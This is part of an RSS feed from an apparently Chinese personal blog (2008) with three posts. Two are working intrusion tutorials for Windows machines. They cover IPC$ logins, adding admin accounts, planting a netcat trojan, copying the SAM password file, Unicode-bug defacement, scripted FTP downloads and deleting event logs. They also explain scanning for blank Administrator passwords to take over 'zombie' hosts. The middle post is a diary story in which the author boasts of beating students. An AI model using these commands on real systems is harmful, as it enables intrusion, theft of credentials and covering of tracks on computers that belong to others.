<pubDate>Sun, 27 Apr 2008 06:02:00 GMT</pubDate>
<guid>http://896376374.qzone.qq.com/blog/1209276120</guid>
</item>

<item>
<title><![CDATA[黑客入侵所需要的几个常用命令]]></title>
<link>http://896376374.qzone.qq.com/blog/1207839086</link>
<description><![CDATA[1：NET<br>只要你拥有某IP的用户名和密码，那就用IPC$做连接吧！<br>这里我们假如你得到的用户是hbx，密码是123456。假设对方IP为127.0.0.1<br>net use [url=file://127.0.0.1/ipc$]\\127.0.0.1\ipc$[/url] “123456″ /user:”hbx”<br>退出的命令是<br>net use [url=file://127.0.0.1/ipc$]\\127.0.0.1\ipc$[/url] /delte<br>下面的操作你必须登陆后才可以用.登陆的方法就在上面.<br>———————-<br>下面我们讲怎么创建一个用户，由于SA的权限相当于系统的超级用户.<br>我们加一个heibai的用户密码为lovechina<br>net user heibai lovechina /add<br>只要显示命令成功,那么我们可以把他加入Administrator组了.<br>net localgroup Administrators heibai /add<br>———————-<br>这里是讲映射对方的C盘,当然其他盘也可以,只要存在就行了.我们这里把对方的C盘映射到本地的Z盘.<br>net use z:\\127.0.0.1\c$<br>———————-<br>net start telnet<br>这样可以打开对方的TELNET服务.<br>———————-<br>这里是将Guest用户激活，guest是NT的默认用户，而且无法删除呢？不知道是否这样，我的2000就是删除不了它。<br><br>net user guest /active:yes<br>———————-<br>这里是把一个用户的密码改掉，我们把guest的密码改为lovechina，其他用户也可以的。只要有权限就行了呀！<br>net user guest lovechina<br>net命令果然强大啊！<br>2:at<br>一般一个入侵者入侵后都会留下后门，也就是种木马了，你把木马传了上去，怎么启动他呢？<br>那么需要用AT命令，这里假设你已经登陆了那个服务器。<br>你首先要得到对方的时间，<br>net time [url=file://127.0.0.1/]\\127.0.0.1[/url]<br>将会返回一个时间，这里假设时间为12:1,现在需要新建一个作业，其ID=1<br>at [url=file://127.0.0.1/]\\127.0.0.1[/url] 12:3 nc.exe<br>这里假设了一个木马，名为NC.EXE,这个东西要在对方服务器上.<br>这里介绍一下NC,NC是NETCAT的简称,为了方便输入,一般会被改名.它是一个TELNET服务,端口为99.<br>等到了12:3就可以连接到对方的99端口.这样就给对方种下了木马.<br>3:telnet<br>这个命令非常实用,它可以与远方做连接，不过正常下需要密码、用户,不过你给对方种了木马,直接连到这个木马打开的端口.<br>telnet 127.0.0.1 99<br>这样就可以连到对方的99端口.那你就可以在对方运行命令了,这个也就是肉鸡.<br><br>4:FTP<br>它可以将你的东西传到对方机子上,你可以去申请个支持FTP上传的空间,国内多的是,如果真的找不到,我给个<a href="http://www.51.net/" target="_blank">WWW.51.NET</a><wbr />,不错的.当我们申请完后，它会给用户名,密码,以及FTP服务器.<br>在上传前需要登陆先，这里我们假设FTP服务器是<a href="http://www.51.net/" target="_blank">WWW.51.NET</a><wbr />,用户名是HUCJS,密码是654321<br>ftp <a href="http://www.51.net/" target="_blank">www.51.net</a><wbr /><br>他会要求输入用户,成功后会要求输入密码.<br>———————-<br>下面先说上传,假设你需上传的文件是INDEX.HTM,它位于C:\下,传到对方D:\<br>get c:\index.htm d:\<br>假设你要把对方C盘下的INDEX.HTM,下到你的机子的D盘下<br>put c:\index.htm d:\<br>5:copy<br>下面我说说怎样把本地的文件复制到对方硬盘上去，需要建立好IPC$连接才有效。<br>这里我们把本地C盘下的index.htm复制到127.0.0.1的C盘下<br>copy index.htm [url=file://127.0.0.1/c$/index.htm]\\127.0.0.1\c$\index.htm[/url]<br>———————-<br>如果你要复制到D盘下把C改为D，就行了！<br>copy index.htm [url=file://127.0.0.1/d$/index.htm]\\127.0.0.1\d$\index.htm[/url]<br>———————-<br>如果你要把他复制到WINNT目录里<br>就要把输入<br>copy index.htm [url=file://127.0.0.1/admin$/index.htm]\\127.0.0.1\admin$\index.htm[/url]<br>admin$是winnt<br>———————-<br>要把对方的文件复制过来，顺便告诉大家NT的备份的数据库放在x:\winnt\repair\sam._ sam._是数据库的文件名<br>下面就把127.0.0.1的数据库复制到本地C盘下<br>copy [url=file://127.0.0.1/admin$/repair/sam]\\127.0.0.1\admin$\repair\sam[/url]._ c:\<br>———————-<br>6：set<br>如果你跑进了一部机子，而且想黑他（这思想只能在特别时候才准有），当然他的80端口要开，不然你黑给谁看。这时需要用SET命令！<br>下面是我得到的结果！我来分析它，只是找主页在那而已。<br>COMPUTERNAME=PENTIUMII<br>ComSpec=D:\WINNT\system32\cmd.exe<br>CONTENT_LENGTH=0<br>GATEWAY_INTERFACE=CGI/1.1<br>HTTP_ACCEPT=*/*<br>HTTP_ACCEPT_LANGUAGE=zh-cn<br>HTTP_CONNECTION=Keep-Alive<br>HTTP_HOST=当前登陆者的IP，这里本来是显示我的IP，被我删除了<br>HTTP_ACCEPT_ENCODING=gzip, deflate<br>HTTP_USER_AGENT=Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt)<br>NUMBER_OF_PROCESSORS=1<br>Os2LibPath=D:\WINNT\system32\os2\dll;<br>OS=Windows_NT<br>Path=D:\WINNT\system32;D:\WINNT<br>PATHEXT=.COM;.EXE;.BAT;.CMD<br>PATH_TRANSLATED=E:\vlroot主页放在的地址，只要你看到PATH_TRANSLATED=的后面就是主页的存放地址。这里是E:\vlroot<br>PROCESSOR_ARCHITECTURE=x86<br>PROCESSOR_IDENTIFIER=x86 Family 6 Model 3 Stepping 3, GenuineIntel<br>PROCESSOR_LEVEL=6<br>PROCESSOR_REVISION=0303<br>PROMPT=$P$G<br>QUERY_STRING=/c+set<br>REMOTE_ADDR=XX.XX.XX.XX<br>REMOTE_HOST=XX.XX.XX.XX<br>REQUEST_METHOD=GET<br>SCRIPT_NAME=/scripts/..%2f../winnt/system32/cmd.exe<br>SERVER_NAME=XX.XX.XX.XX<br>SERVER_PORT=80<br>SERVER_PORT_SECURE=0<br>SERVER_PROTOCOL=HTTP/1.1<br>SERVER_SOFTWARE=Microsoft-IIS/3.0对方使用IIS/3.0<br>SystemDrive=D:<br>SystemRoot=D:\WINNT<br>TZ=GMT-9<br>USERPROFILE=D:\WINNT\Profiles\Default User<br>windir=D:\WINNT<br>粉红色的那行就是对方主页存放地址，这里告诉大家一个技巧，很笨的技巧啊，不过只能用这个方法才能100%的找到主页的名称，当你DIR这个目录时，一定会看到很多文件，你可以把所有文件在浏览器这样输入XX.XX.XX.XX/文件名，这样只要看到和XX.XX.XX.XX看到的也面一模一样，那么这就是主页的名称了。<br>7：nbtstat<br>如果你扫到一部NT的机子，他的136到139其中一个端口开了的话，就要用这个命令得到用户了。顺便告诉大家这是netbios，得到用户名后就可以猜猜密码了。例如比较简单的密码，密码和用户名一样的，都试下，不行就暴力破解吧！<br>现在网上很多NT的机子都开了这些端口的，你可以练习下，我们来分析得到的结果。<br>命令是<br>nbtstat -A XX.XX.XX.XX<br>-A一定要大写哦。<br>下面是得到的结果。<br>NetBIOS Remote Machine Name Table<br>Name Type Status<br>———————————————<br>Registered Registered Registered Registered Registered Registered Registered Reg<br>istered Registered Registered Registered<br>MAC Address = 00-E0-29-14-35-BA<br>PENTIUMII &lt;00&gt; UNIQUE<br>PENTIUMII &lt;20&gt; UNIQUE<br>ORAHOTOWN &lt;00&gt; GROUP<br>ORAHOTOWN &lt;1C&gt; GROUP<br>ORAHOTOWN &lt;1B&gt; UNIQUE<br>PENTIUMII &lt;03&gt; UNIQUE<br>INet~Services &lt;1C&gt; GROUP<br>IS~PENTIUMII…&lt;00&gt; UNIQUE<br>ORAHOTOWN &lt;1E&gt; GROUP<br>ORAHOTOWN &lt;1D&gt; UNIQUE<br>..__MSBROWSE__.&lt;01&gt; GROUP<br>粉红色的就是登陆过这部系统的用户，可能你不知道怎么看，大家是不是看到了一窜数字，只要这窜数字是&lt;03&gt;的话，那他前面的就是用户。<br>这里的用户是PENTIUMII。<br>8：Shutdown<br>关了对方的NT服务器的命令<br>Shutdown [url=file://ip/]\\IP[/url]地址 t:20<br>20秒后将NT自动关闭，三思后才能运行这个命令，这样对对方造很大的损失，要做个有良心的入侵者呀。<br>9：DIR<br>这个命令没什么好讲，但是却非常重要，他是查看一目录里的所有文件、文件夹。<br>你可以本地试下。<br>　<br>10：echo<br>著名的漏洞Unicode，这个命令可以简单的黑一下有这个漏洞的主机。<br>我们假设我们要把”南京大屠杀铁证如山，任何日本人不得抵赖！”写入index.htm，有2种方法，大家看看有什么区别。<br>echo 南京大屠杀铁证如山，任何日本人不得抵赖！&gt;index.htm<br>echo 南京大屠杀铁证如山，任何日本人不得抵赖！&gt;&gt;index.htm<br>第一个的意思是覆盖index.htm原有的内容，把”南京大屠杀铁证如山，任何日本人不得抵赖！”写进index.htm。<br>第二个的意思是把”南京大屠杀铁证如山，任何日本人不得抵赖！”加到index.htm里面。<br>“&gt;&gt;”产生的内容将追加进文件中，”&gt;”则将原文件内容覆盖。<br>大家可以本地试下。<br>可能你会问，这样简单黑下有什么好玩的，其实他可以用来下载主页到对方的目录里。<br>1、首先，我们需要申请一个免费的主页空间。<br>2、用echo在可写目录下建立如下内容的txt文件：（以chinren服务器为例。）<br>open upload.chinaren.com（你的FTP服务器，申请时你的空间提供商会给你的）<br>cnhack（你申请时的用户名）<br>test（你申请时的密码）<br>get index.htm c:\inetpub\wwwroot\index.htm（这里是把你空间上的index.htm下载到对方的c:\inetpub\wwwroot\index.htm）<br>bye（退出FTP对话，相当在98下的DOS，用EXIT退出DOS）<br>具体的做法：<br>输入 echo open upload.chinaren.com&gt; c:\cnhack.txt<br>输入 echo cnhack &gt;&gt; c:\cnhack.txt<br>输入 echo 39abs &gt;&gt; c:\cnhack.txt<br>输入 echo get index.htm c:\inetpub\wwwroot\index.htm+&gt;&gt;+c:\cnhack.txt<br>最后输入 ftp -s:c:\cnhack.txt （利用ftp的-s参数，执行文件里的内容。）<br>等命令完成时，文件已经下载到你指定的文件里了。<br>注意：取得文件后，请删除cnhack.txt。（如果不删除，很容易会给别人看到你的密码。）<br>记得要 del c:\cnhack.txt<br>11:attrib<br>这个命令是设置文件属性的。如果你想黑一个站，而他的主页的文件属性设置了只读，那就很可怜呀，想删除他也不行，想覆盖他也不行。倒！不过有这个命令就别怕了。<br>attrib -r index.htm<br>这个命令是把index.htm的只读属性去掉。<br>如果把”-”改为”+”则是把这个文件的属性设置为只读<br>———————-<br>attrib +r index.htm<br>这个命令是把index.htm的属性设置为只读。<br><br>12:del<br>当你看到这个标题可别倒下啊！现在要离开127.0.0.1了，要删除日志，当然要删除日志啦！想被捉吗。呵呵。<br>NT的日志有这些<br>del C:\winnt\system32\logfiles\*.*<br>del C:\winnt\ssytem32\config\*.evt<br>del C:\winnt\system32\dtclog\*.*<br>del C:\winnt\system32\*.log<br>del C:\winnt\system32\*.txt<br>del C:\winnt\*.txt<br>del C:\winnt\*.log<br>只要删除这些就可以了。有些系统NT安装在D盘或其他盘，就要把C改成其他盘。 <!--v:3.2--> ]]></description>
<category><![CDATA[命令]]></category>
<author><![CDATA[896376374@qq.com((*^__^*))]]></author>
<comments>http://896376374.qzone.qq.com/blog/1207839086#comment</comments>
<qz:effect>576</qz:effect>
<pubDate>Thu, 10 Apr 2008 14:51:26 GMT</pubDate>
<guid>http://896376374.qzone.qq.com/blog/1207839086</guid>
</item>

<item>
<title><![CDATA[醒来时身边有个一丝不挂的女人]]></title>
<link>http://896376374.qzone.qq.com/blog/1207467564</link>
<description><![CDATA[如果有一天当你醒来时身边有个一丝不挂的女人，你的第一反应会怎么样？<br>也许你没有遇到过这样的事情还不知道如何对待，我告诉你，赶紧穿衣服跑。<br><br>曾经和朋友讨论过在大学里有没有最恨或是最讨厌的人，我一直都记得有那么一个人。<br>新学期开始了，很多新生从全国各地来到大学报到，我还是像往常一样有时间了就盯在台球厅里玩，时间久了和大家都很熟，也都知道我最喜欢玩台球。<br>在那偶尔会发现有女生也喜欢玩，特别是夏天，发现女生打台球也是一种自我展露的美，嘎嘎<br>一个和我很熟的服务员过来对我说：“哥，那边有个女生想让你过去和她打球。”<br>我拒绝了，又不认识，而且那个时候我也是有女朋友的人我知道有的事我不该做。事情过去几天以后又有人约我打球，当然我从来没有拒绝那些男生，就算不认识的学生只要找我玩我也会很高兴的打上几局。原来还是那个女生，她和我的一个朋友关系还算不错，所以我和朋友在一起说话聊天她总是跟在我朋友身边，也就这样我们认识了。让我教她打球我同意了，但是我也很害怕被自己女朋友发现，打了那么一会我就找个借口跑掉了，谁知道一切从那时开始发生改变了。<br>那时我拿2个电话因为我选择了2个我最喜欢的号码，77000和77111，很多人都知道我的电话但是除了女朋友以外我从来没有和其他异性有什么接触，连个电话也不会通。很意外第一次有女生给我打电话，竟然是那个和我打台球的女生。我不知道说什么，所以又是找个借口挂断了电话。她发信息说马上圣诞节了，要送我礼物，我很意外，让我去台球厅取，我去了以后吧台给了我好多东西，原来是几件衣服，我不知道为什么一个不熟悉的人要送我这些东西，看着那么多人我没好意思拒绝就收下了，转身没人时候我把衣服都分给了我认识的学生，因为我不想穿别的女生送我的衣服，也害怕女朋友问我什么时候买了这么多新衣服。<br>圣诞节的时候我给女朋友买了一台洗衣机和白金耳环还有一些衣服，毕竟是我们在一起的第一个圣诞节，我希望女朋友可以开心和我渡过。朋友陪我去买礼物的时候我突然想到，那个女生送了我那么多东西我是不是出于礼貌回送点什么呢，于是像开玩笑一样问朋友我想送一个女生礼物，不知道送什么，朋友说送条项链吧，正好那时给女朋友买耳环，顺便我就买了一条白金项链，我想这样应该算是很礼貌的回礼吧。当时在选包装盒的时候我还特意给女朋友选的一个心形的盒子，而给那个女生的只是很普通的盒子。回去以后我拖朋友把礼物转送，我不想当面给她，怕别人误会。当然也怕女朋友误会，我也没敢说这个事情。我以为一切都这样过去了。。。<br><br>在那以后我总能收到她发的信息，不过我还是不知道怎么回复。虽然只说是交个朋友而已但我总怕有别的事情发生，特别是和女朋友在一起的时候我害怕有信息或是电话打来了。<br>每个星期都要有一天的晚上陪女朋友看电影，这是我的责任。那次我们还像平时一样选好了座位等待播放影片，一个女生从身边走过，一种很不正常的眼光看着我和女朋友。女朋友问我认识吗？我说不认识，其实是她。我害怕了，怎么会这样呢，这要是被女朋友误会了我不是要倒霉了。果然。。。在电影刚播放不长时间后我电话响了，一条信息：“看见你和你女朋友在一起我很心痛。”我的天啊，为什么啊？为什么要给我发这样的信息？我平时看见你就跑，我平时连话都不多说的人为什么要给我发这样的信息。女朋友在电影没结束就走了，我也没有留下来。解释，再解释，继续解释。。。没用。<br>当时我很生气，把电话摔得粉碎，不过电池上有女朋友的大头贴，所以我只拣回了电池和电话卡。女朋友看我很生气，开始哄我，这个事情也就这样在损失一个电话的情况下结束了。<br>和女朋友一起走在学校里的时候偶尔开始有几个女生总喊我的名字，我确实不认识那些女生，也不知道为什么要喊我的名字，女朋友总是很疑惑的眼神看我，我每次都说她们认错人了吧，其实女朋友已经知道我说谎了，后来才知道是她让她的朋友这样故意气我的女朋友。。。。<br>一天我正在和朋友打台球，女朋友打来电话一会要一起吃饭，我让女朋友来台球找我，但又是没想到的事情发生了。。。<br>明明我是和朋友在一起打球，明明我们身边就没有女生啊，为什么在我女朋友一进台球厅的时候怎么多个女生一下靠在我身上。怎么又是她啊。。。也许她就是故意的，女朋友见这样的情况转身就走，连我解释的机会都没有，我真是被那个女生害惨了。给女朋友打电话不接，和她寝室别的女生说了半天没用，竟然没人相信我，但是正常人的脑袋想一想啊，我明明约了女朋友在台球见面怎么可能还要和另一个女生亲密在一起呢，假如真有什么的话我也不可能选择在那个时候，当然确实没有什么呀。<br>天黑了我自己一个人走在学校里，伤心生气，当时没有控制好自己，连打了几个学生出气，但是心里还是非常不爽。回到酒吧坐在那越想越伤心，这个世界怎么了，难道就不想让我好过吗？我酒量非常差，几乎每天都要在酒吧喝吐。想喝酒还不敢，我怕出更多的事，但是心里的郁闷已经快要控制不住了。给我拿两瓶克罗娜，话说完酒吧的服务员都感觉惊讶，因为我只有和朋友在一起时被逼着喝酒，从来没有我自己主动喝的时候。心情不好也许用酒精麻痹一下自己吧，两瓶很快就喝完了，很恶心难受，这已经是我的极限了。但是心里还不痛快，我要红酒，给我开一瓶干红，服务员已经从我的表情中看出我的心情了，没人劝我拦我，于是一杯一杯的猛灌自己。<br>醒来的时候发现自己躺在不知道的地方，我没穿衣服，老天别打击我了可以吗？一个女生一丝不挂的在我身边躺着。我靠，又是她。。。。<br>当时真的要崩溃了，本来喝的太多头还很疼，当时我连问都不问以最快的速度穿好衣服赶紧跑。。。。<br>如果警察问我你干过什么，我肯定回答什么都没干。确实我最后的记忆就是我在酒吧拼命的灌醉自己，我什么都不知道。更不知道她怎么躺我身边还不穿衣服呢。<br>事后我跑去酒吧问过服务员，他们说我喝到最后倒下了，那个女生和几个人把我扶走的，不知道后面的事情了。<br>我不敢声张怕太多人知道，我那两天电话不敢开机，我实在受不了她再给我发信息或是打电话了，特别是在这样的情况下。<br>几天后一切恢复正常了，好象什么都没有发生过一样，我和女朋友还是在一起吃饭，我陪女朋友学习溜达。但是恐惧好象还存在，我想以后如果再有前几天那样的事情怎么办，我真是受不了那样的打击了。要做就做的绝一点，当时想到第一个办法就是我找了很多男生，我出2000块，告诉他们谁要能追到那个女生钱就给谁。结果失败了，第2个办法是朋友帮我想的，告诉我不要管她是男是女了，把她当男生对待，我平时生气的时候怎么对别的男生就怎么对她，我真是没打过女生，骂也不知道怎么骂。于是我从她身边的朋友下手，只要是她朋友的和她关系好的男生我打了好多人，甚至她好朋友的男朋友也不放过，在打那些人的时候我都说同样一句话“告诉她别再烦我。”几天后我收到别人送来的项链，哈哈原来这个办法真好用，她连那条项链都退回来了，当时真有一种被解放的感觉。终于摆脱了。。。当时一高兴把项链扯的一段一段远远扔了出去，感觉很爽。从那以后那个女生见了我就跑，其实这就是我希望的。 <!--v:3.2--> ]]></description>
<category><![CDATA[个人日记]]></category>
<author><![CDATA[896376374@qq.com((*^__^*))]]></author>
<comments>http://896376374.qzone.qq.com/blog/1207467564#comment</comments>
<qz:effect>576</qz:effect>
<pubDate>Sun, 06 Apr 2008 07:39:24 GMT</pubDate>
<guid>http://896376374.qzone.qq.com/blog/1207467564</guid>
</item>

<item>
<title><![CDATA[啊D怎么抓肉鸡啊]]></title>
<link>http://896376374.qzone.qq.com/blog/1207373244</link>
<description><![CDATA[ <br><span style="font-family:'黑体';line-height:1.8em;">现在最流行的抓鸡方法就是用啊D工具包抓本地肉鸡，有很多人都说用啊D 工具包扫不到肉鸡，其实扫描的ip也是有技巧的，网上有很多抓135肉鸡的教程，可都讲的比较模糊，尤其扫的ip更是只字不提，这样新手以为随便找段ip就可以了，可是扫了半天什么也没有，都在纳闷，为什么别人可以扫到，我就扫不到？原因就是没找到本地的ip段。。。 <br>首先打开IE在地址栏输入</span><wbr /><a href="http://www.ip138.com/" target="_blank"><span style="color:#800080;font-family:'黑体';line-height:1.8em;">http://www.ip138.com</span><wbr /></a><wbr /><span style="font-family:'黑体';line-height:1.8em;">,打开后刷新一下就是你外网的ip，也就是公网ip，例如你的ip是218.76.40.145，那你就在啊D工具的肉鸡查找的ip框里输入218.76.40.1，后面的ip会自动显示为218.76.40.255这个我们不用管，下面点击设置--选猜测administrator只帐号并关闭。 <br>现在大家扫一下看看，是不是可以扫到很多呢。我想应该可以扫到很多。 <br><br>扫到了以后就要telnet对方的主机了，具体步骤右击IP地址: 222.189.115.242 Administrator (空) WinXP [5.1] 打开对方的telnet 并选择启动很快就可以登陆到对方的主机，输入用户名Administrator 密码为空直接回车就可以了，进入后先开启c盘做共享，命令是net share c$=c:\,例如 <br>*=============================================================== <br>Welcome to Microsoft Telnet Server. <br>*=============================================================== <br>C:\Documents and Settings\Administrator&gt;net share c$=c:\ <br>c$ 共享成功。 <br><br><br>C:\Documents and Settings\Administrator&gt; <br>共享开启成功就可以种植你的木马了，右击IP地址: 222.189.115.242 Administrator (空) WinXP [5.1]选择木马（IPC$）种植机把木马种植到c盘最后显示无效的句柄， <br>如：建立 \\222.189.115.211\IPC$ 管道.... OK! <br>复制文件到对方主机.... OK! <br>读取对方机子的时间.... 2006-08-20 15:55 OK! <br>在对方机子添加任务.... <br>错误: 1702 绑定句柄无效。 <br>-------------------------------------------------- <br>我们必须手工运行。。先用dir查看一下如： <br><br>C:\ 的目录 <br><br>2006-01-02 01:55 &lt;DIR&gt; WINDOWS <br>2006-01-02 02:00 &lt;DIR&gt; Documents and Settings <br>2006-01-02 02:12 &lt;DIR&gt; Program Files <br>2006-01-11 02:58 &lt;DIR&gt; Ghost <br>2006-01-12 02:58 &lt;DIR&gt; boot <br>2006-05-17 09:42 42,377,996 Rav18_26_12.exe <br>2006-05-17 09:59 &lt;DIR&gt; RAVBIN <br>2006-05-17 20:01 &lt;DIR&gt; csc108 <br>2006-06-06 21:41 &lt;DIR&gt; Othello <br>2006-06-15 19:01 223 cmd.txt <br>2006-06-15 19:01 4 response.txt <br>2006-06-14 20:26 34,466 VETlog.dmp <br>2006-06-14 20:26 1,467 VETlog.txt <br>2006-06-18 11:20 &lt;DIR&gt; Downloads <br>2006-06-18 11:51 &lt;DIR&gt; QQFO <br>2006-07-03 10:24 376 NatTest16477656.txt <br>2006-07-03 10:24 378 NatTest16478888.txt <br>2006-08-20 15:55 319,319 2.exe <br>8 个文件 42,734,229 字节 <br>10 个目录 5,185,863,680 可用字节 <br><br>C:\&gt; <br>2006-08-20 15:55 319,319 2.exe这就是我上传的木马，在C:\&gt;后面输入2.exe回车木马就运行了如： <br>C:\&gt;2.exe <br><br>C:\&gt; </span><wbr /> <!--v:3.2--> ]]></description>
<category><![CDATA[黑基入门]]></category>
<author><![CDATA[896376374@qq.com((*^__^*))]]></author>
<comments>http://896376374.qzone.qq.com/blog/1207373244#comment</comments>
<qz:effect>576</qz:effect>
<pubDate>Sat, 05 Apr 2008 05:27:24 GMT</pubDate>
<guid>http://896376374.qzone.qq.com/blog/1207373244</guid>
</item>

</channel>
</rss>

